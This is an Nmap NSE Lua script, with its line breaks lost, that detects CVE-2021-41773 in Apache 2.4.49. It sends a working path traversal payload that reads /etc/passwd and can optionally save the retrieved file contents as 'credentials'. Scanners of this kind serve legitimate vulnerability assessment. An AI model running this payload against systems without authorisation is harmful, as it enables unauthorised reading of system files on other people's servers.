local http = require "http" local stdnse = require "stdnse" local shortport = require "shortport" local table = require "table" local string = require "string" local vulns = require "vulns" local nmap = require "nmap" local io = require "io" description = [[ This NSE script checks whether the target server is vulnerable to CVE-2021-41773 ]] --- -- @usage -- nmap --script http-vuln-cve2021-41773 -p -- nmap --script http-vuln-cve2021-41773 -p --script-args output='file.txt' -- @output -- PORT STATE SERVICE -- 443/tcp open http -- | CVE-2021-41773: -- | Host is vulnerable to CVE-2021-41773 -- @changelog -- 05-10-2021 - Discovery: Ash Daulton -- 05-10-2021 - Author: Dhiraj Mishra (@RandomDhiraj) --[[ NMAP Script--]] -- 05-10-2021 - Exploit Reference: --[[https://twitter.com/ptswarm/status/1445376079548624899--]] -- @xmloutput -- -- Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 -- VULNERABLE --
-- A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. --
-- --
-- 2021 -- 05 -- 10 --
-- -- 05-10-2021 -- --
-- -- https://httpd.apache.org/security/vulnerabilities_24.html -- https://lists.apache.org/thread.html/r6abf5f2ba6f1aa8b1030f95367aaf17660c4e4c78cb2338aee18982f@%3Cusers.httpd.apache.org%3E --
-- Discovery = "Ash Daulton" author = "Dhiraj Mishra (@RandomDhiraj)" --[[ NMAP Script--]] license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"discovery", "intrusive","vuln"} portrule = shortport.ssl action = function(host,port) local outputFile = stdnse.get_script_args(SCRIPT_NAME..".output") or nil local vuln = { title = 'Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49', state = vulns.STATE.NOT_VULN, description = [[ A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. ]], references = { 'https://httpd.apache.org/security/vulnerabilities_24.html', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41773', }, dates = { disclosure = {year = '2021', month = '10', day = '05'}, }, } local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) local path = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" local response local output = {} local success = "Host is vulnerable to CVE-2021-41773" local fail = "Host is not vulnerable" local match = 'root:x:0:0:root' local credentials local TMUI response = http.get(host, port.number, path) if not response.status then stdnse.print_debug("Request Failed") return end if response.status == 200 then if string.match(response.body, match) then stdnse.print_debug("%s: %s GET %s - 200 OK", SCRIPT_NAME,host.targetname or host.ip, path) vuln.state = vulns.STATE.VULN TMUI = (("Verify arbitrary file read: https://%s:%d%s"):format(host.targetname or host.ip,port.number, path)) if outputFile then credentials = response.body:gsub('%W','.') vuln.check_results = stdnse.format_output(true, TMUI) vuln.extra_info = stdnse.format_output(true, "Credentials are being stored in the output file") file = io.open(outputFile, "a") file:write(credentials, "\n") else vuln.check_results = stdnse.format_output(true, TMUI) end end elseif response.status == 403 then stdnse.print_debug("%s: %s GET %s - %d", SCRIPT_NAME, host.targetname or host.ip, path, response.status) vuln.state = vulns.STATE.NOT_VULN end return vuln_report:make_output(vuln) end